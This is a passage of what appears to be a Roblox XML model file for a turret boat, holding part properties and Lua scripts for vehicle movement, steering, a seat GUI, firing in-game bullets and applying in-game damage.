		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == 0 then
		if VS.MaxSpeed &gt;= 1 then
			--VS.MaxSpeed = VS.MaxSpeed - VS.Torque
			SplashF()
		elseif VS.MaxSpeed &lt;= -1 then
			--VS.MaxSpeed = VS.MaxSpeed + VS.Torque
			SplashB()
		end
	end

---------------------------------Steering

	if VS.Steer == 1 then 
		if VS.TurnSpeed &gt; -0.14 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
	elseif VS.Steer == -1 then 
		if VS.TurnSpeed &lt; 0.14 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		end
	elseif VS.Steer == 0 then 
		if VS.TurnSpeed &lt; 0 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		elseif VS.TurnSpeed &gt; 0 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
		if VS.TurnSpeed &lt;= 0.2 and VS.TurnSpeed &gt;= -0.2 then
			VS.TurnSpeed = 0
		end
	end

---------------------------------Application

	bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
	bin.Base.BV.velocity = bin.Base.CFrame.lookVector * VS.MaxSpeed

	wait(0.2)
end

--(C) 2009 Terran Research Commission
</ProtectedString>
					</Properties>
					<Item class="Script" referent="RBX5250">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">true</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">WaterScript</string>
							<ProtectedString name="Source">wait(0.2)
script.Parent.Transparency = 0.5
script.Parent.Mesh.Scale = Vector3.new(       18,	3.8,	22	)
wait(0.2)
script.Parent.Transparency = 0.6
script.Parent.Mesh.Scale = Vector3.new(       22,	3.6,	28	)
wait(0.2)
script.Parent.Transparency = 0.7
script.Parent.Mesh.Scale = Vector3.new(       26,	3.4,	34	)
wait(0.2)
script.Parent.Transparency = 0.8
script.Parent.Mesh.Scale = Vector3.new(       30,	3.2,	40	)
wait(0.2)
script.Parent.Transparency = 0.9
script.Parent.Mesh.Scale = Vector3.new(       34,	3,	46	)
wait(0.2)
script.Parent:remove()
</ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX5251">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">OBC Turret</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX5252">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Parts</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Part" referent="RBX5253">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">208</int>
								<CoordinateFrame name="CFrame">
									<X>-1123.79712</X>
									<Y>11.3426647</Y>
									<Z>642.287781</Z>
									<R00>-0.865024149</R00>
									<R01>0.163637578</R01>
									<R02>-0.474302948</R02>
									<R10>0.0100443792</R10>
									<R11>0.950781643</R11>
									<R12>0.309699863</R12>
									<R20>0.501645088</R20>
									<R21>0.263132066</R21>
									<R22>-0.824091434</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
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								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0.00253061112</X>
									<Y>0.000121983161</Y>
									<Z>0.00395261496</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0.0010346137</X>
									<Y>0.0239255913</Y>
									<Z>0.00148085132</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
									<Z>6</Z>
								</Vector3>
							</Properties>
							<Item class="BlockMesh" referent="RBX5325">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Fire" referent="RBX5326">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4294944256</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294901760</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX5327">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">4</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">208</int>
								<CoordinateFrame name="CFrame">
									<X>-1121.23169</X>
									<Y>9.28629303</Y>
									<Z>646.761353</Z>
									<R00>-0.865949392</R00>
									<R01>0.00506167114</R01>
									<R02>-0.500105977</R02>
									<R10>0.00459999312</R10>
									<R11>0.999987066</R11>
									<R12>0.0021558404</R12>
									<R20>0.500110567</R20>
									<R21>-0.000433623791</R21>
									<R22>-0.865961552</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">2</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0.00253061112</X>
									<Y>0.000121983161</Y>
									<Z>0.00395261496</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0.0012700723</X>
									<Y>0.0165713634</Y>
									<Z>0.00155706354</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>2</X>
									<Y>1</Y>
									<Z>3</Z>
								</Vector3>
							</Properties>
							<Item class="BlockMesh" referent="RBX5328">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX5329">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">4</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">208</int>
								<CoordinateFrame name="CFrame">
									<X>-1123.28088</X>
									<Y>9.29642677</Y>
									<Z>646.212585</Z>
									<R00>-0.865949392</R00>
									<R01>0.00506167114</R01>
									<R02>-0.500105977</R02>
									<R10>0.00459999312</R10>
									<R11>0.999987066</R11>
									<R12>0.0021558404</R12>
									<R20>0.500110567</R20>
									<R21>-0.000433623791</R21>
									<R22>-0.865961552</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0.00253061112</X>
									<Y>0.000121983161</Y>
									<Z>0.00395261496</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0.00116307708</X>
									<Y>0.0098604029</Y>
									<Z>0.00183267542</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
									<Z>6</Z>
								</Vector3>
							</Properties>
							<Item class="BlockMesh" referent="RBX5330">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Fire" referent="RBX5331">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4294944256</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294901760</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="VehicleSeat" referent="RBX5332">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">5</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-1121.22668</X>
								<Y>10.2862797</Y>
								<Z>646.760925</Z>
								<R00>0.865949392</R00>
								<R01>0.00506167114</R01>
								<R02>0.500105977</R02>
								<R10>-0.00459999312</R10>
								<R11>0.999987066</R11>
								<R12>-0.0021558404</R12>
								<R20>-0.500110567</R20>
								<R21>-0.000433623791</R21>
								<R22>0.865961552</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<bool name="HeadsUpDisplay">false</bool>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<float name="MaxSpeed">100</float>
							<string name="Name">VehicleSeat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.00253061112</X>
								<Y>0.000121983161</Y>
								<Z>0.00395261496</Z>
							</Vector3>
							<int name="Steer">0</int>
							<int name="Throttle">0</int>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Torque">20</float>
							<float name="Transparency">0</float>
							<float name="TurnSpeed">1</float>
							<Vector3 name="Velocity">
								<X>-0.0026825422</X>
								<Y>0.0165922269</Y>
								<Z>0.00408703042</Z>
							</Vector3>
							<Vector3 name="size">
								<X>4</X>
								<Y>1</Y>
								<Z>3</Z>
							</Vector3>
						</Properties>
						<Item class="Script" referent="RBX5333">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Pickup</string>
								<ProtectedString name="Source">script.Parent.ChildAdded:connect(function(w)
print(&quot;ChildAdded&quot;)
if w.className==&quot;Weld&quot; then
print(&quot;IsAWeld&quot;)
if w.Name==&quot;SeatWeld&quot; then
print(&quot;IsASeatWeld&quot;)
if w.Part1.Parent:findFirstChild(&quot;Humanoid&quot;)~=nil then
print(&quot;IsAHumanoid&quot;)
pl=game.Players:GetPlayerFromCharacter(w.Part1.Parent)
if pl~=nil then
print(&quot;IsAPlayer&quot;)
if pl.PlayerGui:findFirstChild(&quot;VehicleGui&quot;)~=nil then
print(&quot;found vehicle gui - deleting&quot;)
pl.PlayerGui:findFirstChild(&quot;VehicleGui&quot;).Parent=nil
print(&quot;deleted&quot;)
else
print(&quot;no gui found - adding&quot;)
newgui=script.Parent.VehicleGui:clone()
newgui.Parent=pl.PlayerGui
newgui.Vehicle.Value=script.Parent.Parent

print(&quot;added&quot;)
end
end
end
end
end
end)

script.Parent.ChildRemoved:connect(function(w)
print(&quot;ChildRemoved&quot;)
if w.className==&quot;Weld&quot; then
print(&quot;IsAWeld&quot;)
if w.Name==&quot;SeatWeld&quot; then
print(&quot;IsASeatWeld&quot;)
if w.Part1.Parent:findFirstChild(&quot;Humanoid&quot;)~=nil then
print(&quot;IsAHumanoid&quot;)
pl=game.Players:GetPlayerFromCharacter(w.Part1.Parent)
if pl~=nil then
print(&quot;IsAPlayer&quot;)
if pl.PlayerGui:findFirstChild(&quot;VehicleGui&quot;)~=nil then
print(&quot;found vehicle gui - deleting&quot;)
pl.PlayerGui:findFirstChild(&quot;VehicleGui&quot;).Parent=nil
print(&quot;deleted&quot;)
else
print(&quot;no gui found - wierd...&quot;)
end
end
end
end
end
end)

</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX5334">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">SteerScript</string>
								<ProtectedString name="Source">MP = script.Parent.Parent.Part1
MP2 = script.Parent.Parent.Part2
Height = 15

while true do
wait()

if script.Parent.Steer == 1 then
MP.BodyGyro.cframe = MP.BodyGyro.cframe*CFrame.Angles(0,math.rad(-2),0)
print(&quot;Right&quot;)
end

if script.Parent.Steer == -1 then
MP.BodyGyro.cframe = MP.BodyGyro.cframe*CFrame.Angles(0,math.rad(2),0)
print(&quot;Left&quot;)
end 


if script.Parent.Throttle == 1 then
if Height ~= 30 then 
Height = Height + 1
MP2.BodyGyro.cframe = MP2.BodyGyro.cframe*CFrame.Angles(math.rad(2),0,0)
end end


if script.Parent.Throttle == -1 then
if Height ~= 1 then
Height = Height - 1
MP2.BodyGyro.cframe = MP2.BodyGyro.cframe*CFrame.Angles(math.rad(-2),0,0)
end end

end










</ProtectedString>
							</Properties>
						</Item>
						<Item class="ScreenGui" referent="RBX5335">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">VehicleGui</string>
							</Properties>
							<Item class="Frame" referent="RBX5336">
								<Properties>
									<bool name="Active">false</bool>
									<bool name="Archivable">true</bool>
									<Color3 name="BackgroundColor3">4281545523</Color3>
									<float name="BackgroundTransparency">0</float>
									<Color3 name="BorderColor3">4278190080</Color3>
									<int name="BorderSizePixel">1</int>
									<bool name="Draggable">false</bool>
									<string name="Name">Frame</string>
									<UDim2 name="Position">
										<XS>0.460000008</XS>
										<XO>0</XO>
										<YS>0.675000012</YS>
										<YO>0</YO>
									</UDim2>
									<UDim2 name="Size">
										<XS>0.140000001</XS>
										<XO>0</XO>
										<YS>0.13000001</YS>
										<YO>0</YO>
									</UDim2>
									<token name="SizeConstraint">0</token>
									<token name="Style">0</token>
									<bool name="Visible">true</bool>
									<int name="ZIndex">1</int>
								</Properties>
								<Item class="Script" referent="RBX5337">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<ProtectedString name="Source">repeat wait() until script.Parent.Parent.Vehicle.Value~=nil

db=false
held=false

v=script.Parent.Parent.Vehicle
f=script.Parent
guns=script.Parent.Machine

function fireguns()
v1=v.Value.Gun1Bullet:clone()
vel=Instance.new(&quot;BodyVelocity&quot;)
vel.Parent=v1
v1.Velocity=v1.CFrame.lookVector*500
vel.velocity=v1.Velocity
v1.Anchored=false
--v1.CanCollide=true
v1.Transparency=0
v1.Damage.Disabled=false
v1.Parent=workspace
print(&quot;Created bullet&quot;)
v.Value.Gun1Bullet.Fire:Play()
end


function gunsdown()
held=true
while held==true do
fireguns()
print(&quot;Fire bullet&quot;)
wait(0.1)
end
end

function gunsup()
held=false
print(&quot;up&quot;)
end


guns.MouseButton1Down:connect(gunsdown)
guns.MouseButton1Up:connect(gunsup)
guns.MouseLeave:connect(function() gunsup() end)




</ProtectedString>
									</Properties>
								</Item>
								<Item class="Frame" referent="RBX5338">
									<Properties>
										<bool name="Active">false</bool>
										<bool name="Archivable">true</bool>
										<Color3 name="BackgroundColor3">4294967295</Color3>
										<float name="BackgroundTransparency">0.800000012</float>
										<Color3 name="BorderColor3">4294967295</Color3>
										<int name="BorderSizePixel">0</int>
										<bool name="Draggable">false</bool>
										<string name="Name">Frame</string>
										<UDim2 name="Position">
											<XS>0</XS>
											<XO>0</XO>
											<YS>0</YS>
											<YO>0</YO>
										</UDim2>
										<UDim2 name="Size">
											<XS>1</XS>
											<XO>0</XO>
											<YS>0.500000119</YS>
											<YO>0</YO>
										</UDim2>
										<token name="SizeConstraint">0</token>
										<token name="Style">0</token>
										<bool name="Visible">true</bool>
										<int name="ZIndex">1</int>
									</Properties>
								</Item>
								<Item class="TextButton" referent="RBX5339">
									<Properties>
										<bool name="Active">true</bool>
										<bool name="Archivable">true</bool>
										<bool name="AutoButtonColor">true</bool>
										<Color3 name="BackgroundColor3">4289003553</Color3>
										<float name="BackgroundTransparency">0</float>
										<Color3 name="BorderColor3">4278190080</Color3>
										<int name="BorderSizePixel">1</int>
										<bool name="Draggable">false</bool>
										<token name="Font">0</token>
										<token name="FontSize">2</token>
										<string name="Name">Machine</string>
										<UDim2 name="Position">
											<XS>0.0500015542</XS>
											<XO>0</XO>
											<YS>0.0500000007</YS>
											<YO>0</YO>
										</UDim2>
										<bool name="Selected">false</bool>
										<UDim2 name="Size">
											<XS>0.700000167</XS>
											<XO>0</XO>
											<YS>0.350000024</YS>
											<YO>0</YO>
										</UDim2>
										<token name="SizeConstraint">0</token>
										<token name="Style">0</token>
										<string name="Text">Shoot</string>
										<Color3 name="TextColor3">4294967295</Color3>
										<float name="TextTransparency">0</float>
										<bool name="TextWrap">false</bool>
										<token name="TextXAlignment">2</token>
										<token name="TextYAlignment">1</token>
										<bool name="Visible">true</bool>
										<int name="ZIndex">1</int>
									</Properties>
								</Item>
							</Item>
							<Item class="ObjectValue" referent="RBX5340">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">Vehicle</string>
									<Ref name="Value">null</Ref>
								</Properties>
							</Item>
						</Item>
						<Item class="CylinderMesh" referent="RBX5341">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>-0.400000006</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>0.200000003</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Fire" referent="RBX5342">
							<Properties>
								<bool name="Archivable">true</bool>
								<Color3 name="Color">4294955008</Color3>
								<bool name="Enabled">false</bool>
								<string name="Name">Fire</string>
								<Color3 name="SecondaryColor">4294901760</Color3>
								<float name="heat_xml">25</float>
								<float name="size_xml">30</float>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX5343">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-1123.99353</X>
								<Y>10.2017269</Y>
								<Z>641.972046</Z>
								<R00>0.865024149</R00>
								<R01>0.163637578</R01>
								<R02>0.474302948</R02>
								<R10>-0.0100443792</R10>
								<R11>0.950781643</R11>
								<R12>-0.309699863</R12>
								<R20>-0.501645088</R20>
								<R21>0.263132066</R21>
								<R22>0.824091434</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part2</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.000712785404</X>
								<Y>-0.000524872623</Y>
								<Z>-0.000586516166</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-0.0150668006</X>
								<Y>0.00619569793</Y>
								<Z>0.00495906454</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>2</Y>
								<Z>6</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX5344">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX5345">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">BodyGyro</string>
								<float name="P">3000</float>
								<CoordinateFrame name="cframe">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>2.2594013e-006</R01>
									<R02>-4.30987529e-005</R02>
									<R10>-2.22272829e-005</R10>
									<R11>0.882953703</R11>
									<R12>-0.469459474</R12>
									<R20>3.69936279e-005</R20>
									<R21>0.469459474</R21>
									<R22>0.882953703</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>1000</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Fire" referent="RBX5346">
							<Properties>
								<bool name="Archivable">true</bool>
								<Color3 name="Color">4294944256</Color3>
								<bool name="Enabled">false</bool>
								<string name="Name">Fire</string>
								<Color3 name="SecondaryColor">4294901760</Color3>
								<float name="heat_xml">25</float>
								<float name="size_xml">30</float>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX5347">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">208</int>
							<CoordinateFrame name="CFrame">
								<X>-1128.10352</X>
								<Y>12.9911928</Y>
								<Z>634.828735</Z>
								<R00>0.865024149</R00>
								<R01>0.163637578</R01>
								<R02>0.474302948</R02>
								<R10>-0.0100443792</R10>
								<R11>0.950781643</R11>
								<R12>-0.309699863</R12>
								<R20>-0.501645088</R20>
								<R21>0.263132066</R21>
								<R22>0.824091434</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Gun1Bullet</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.000712785404</X>
								<Y>-0.000524872623</Y>
								<Z>-0.000586516166</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">1</float>
							<Vector3 name="Velocity">
								<X>-0.00968140457</X>
								<Y>0.0136979185</Y>
								<Z>0.00479013566</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX5348">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">3</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>0.5</X>
									<Y>0.5</Y>
									<Z>0.5</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX5349">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">true</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Damage</string>
								<ProtectedString name="Source">ball = script.Parent
damage = 50


function onTouched(hit)
	local humanoid = hit.Parent:findFirstChild(&quot;Humanoid&quot;)
	if humanoid ~= nil then
		humanoid:TakeDamage(damage)
		ball:Remove()
	end
end
connection = ball.Touched:connect(onTouched)


wait(5)
ball.Parent = nil


